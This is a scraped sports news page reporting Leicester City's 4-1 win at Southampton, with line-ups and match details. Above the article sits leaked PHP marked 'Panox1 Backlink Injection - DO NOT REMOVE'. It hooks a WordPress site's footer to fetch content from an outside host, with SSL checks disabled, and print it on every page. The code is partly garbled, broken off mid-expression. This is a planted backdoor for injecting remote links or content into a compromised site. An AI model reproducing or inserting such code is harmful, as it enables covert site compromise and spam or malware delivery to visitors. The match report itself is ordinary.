// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Southampton 1-4 Leicester City – Jamie Vardy scores after 21 second to help the Foxes go top – Next Sports News

Southampton 1-4 Leicester City – Jamie Vardy scores after 21 second to help the Foxes go top

[ad_1]

Jamie Vardy (left) celebrates scoring Leicester's first goal against Southampton

Jamie Vardy scored after 21 seconds to set Leicester City up for a victory at Southampton that sent them back to the top of the Championship.

Former England striker Vardy traded passes with Stephy Mavididi before stunning all at St Mary’s with his cool side-foot finish to give the Foxes the ideal start.

Kasey McAteer met a fine Kiernan Dewsbury-Hall through ball to make it two after 18 minutes and, while a defensive error gifted Sam Edozie a Saints response, Wilfred Ndidi put Leicester 3-1 up in first-half injury time.

The excellent Mavididi ran from deep inside his own half to add a fourth with a superb solo goal against a side that beat the Foxes twice last season in a Premier League campaign that ended with both being relegated.

A miserable night for Southampton finished with Kamaldeen Sulemana being shown a straight red card for a clumsy tackle on James Justin in the final moments.

Southampton boss Russell Martin said in the build-up to the game that he spent the international break reflecting on their “painful” 5-0 defeat by Sunderland and spoke about the visit of Leicester as a chance to “get back on track”.

By half-time boos were echoing around the ground with the hosts 3-1 down against a Foxes side that had not won at St Mary’s since a 9-0 defeat in the Premier League almost four years ago.

Jamie Vardy scoring Leicester City's first against Southampton with a low show from 12 yards out

Two of Leicester’s three changes from their defeat by Hull last time out were up front, with 36-year-old former England striker Vardy and Mavididi starting.

Sloppy passing from Saints, in an attempt to play it out from the back, allowed the duo to immediately link up with devastating effect.

Vardy played the ball into the box for Mavididi, who then cut it back to find the Foxes talisman unmarked 12 yards out to slot home and rattle the hosts.

Mads Hermansen twice denied Che Adams as Southampton searched for a quick response, first keeping out a fierce curled effort before rushing out deny the Scotland international after Harry Winks gave the ball up on the edge of the area.

In a first-half littered with defensive errors, Southampton were again punished for relinquishing possession in their own half when Kiernan Dewsbury-Hall threaded the ball through for McAteer to race onto and bury beyond goalkeeper Gavin Bazunu.

It was then Leicester’s turn to be charitable, with Adams pouncing on Callum Doyle’s inability to clear the ball from under his feet before sending Edozie free to deftly lift the ball over the onrushing Hermansen.

Mavididi displayed great composure to set Ndidi up for Leicester’s third, with the forward turning, tumbling then recovering to find the midfielder in the box, where the Nigerian chopped the ball back onto his right to coolly finish.

Former Juventus forward Mavididi, who arrived from Montpellier in the summer, wasted a huge chance just after the hour but was quick to make amends with the pick of the night’s goals.

He intercepted a sloppy pass from Sulemana 30 yards from his own goal, then knocked the ball around a defender and raced away to slide the ball beyond Bazunu and into the bottom corner.

Adam Armstrong sent an angled effort off target and Ryan Fraser thumped a shot into Hermansen’s gloves before Mavididi’s goal, but failed to seriously trouble the visitors again after going 4-1 down.

Defeat was made all the more costly with Sulemana now suspended after his late sending off.

Line-ups

Southampton

Formation 4-4-2

31Bazunu

2Walker-Peters24Charles21Harwood-Bellis3Manning

23Edozie16Smallbone4Downes26Fraser

10Adams9A Armstrong

  • 31Bazunu
  • 2Walker-Peters
  • 24Charles
  • 21Harwood-Bellis
  • 3ManningBooked at 73mins
  • 23EdozieSubstituted forSulemanaat 45′minutesBooked at 90mins
  • 16SmallboneBooked at 32mins
  • 4DownesSubstituted forAlcarazat 50′minutes
  • 26FraserSubstituted forS Armstrongat 68′minutes
  • 10AdamsSubstituted forAriboat 78′minutes
  • 9A Armstrong

Substitutes

  • 1McCarthy
  • 6Holgate
  • 7Aribo
  • 14Bree
  • 17S Armstrong
  • 18Mara
  • 20Sulemana
  • 22Alcaraz
  • 27Amo-Ameyaw

Leicester

Formation 4-3-3

30Hermansen

2Justin23Vestergaard5Doyle21Ricardo Pereira

25Ndidi8Winks22Dewsbury-Hall

35McAteer9Vardy10Mavididi

  • 30Hermansen
  • 2Justin
  • 23Vestergaard
  • 5Doyle
  • 21Ricardo Pereira
  • 25NdidiSubstituted forCasadeiat 58′minutes
  • 8WinksBooked at 51minsSubstituted forChoudhuryat 83′minutes
  • 22Dewsbury-HallBooked at 39minsSubstituted forAkgünat 83′minutesBooked at 90mins
  • 35McAteerSubstituted forFatawuat 70′minutesBooked at 73mins
  • 9VardySubstituted forIheanachoat 84′minutes
  • 10Mavididi

Substitutes

  • 3Faes
  • 4Coady
  • 7Casadei
  • 14Iheanacho
  • 17Choudhury
  • 18Fatawu
  • 20Daka
  • 29Akgün
  • 41Stolarczyk
Referee:
Robert Madley

Attendance:
28,877

Match Stats

Live Text

Post update

Match ends, Southampton 1, Leicester City 4.

  • Adblock test (Why?)

    [ad_2]

    Source link

    Reply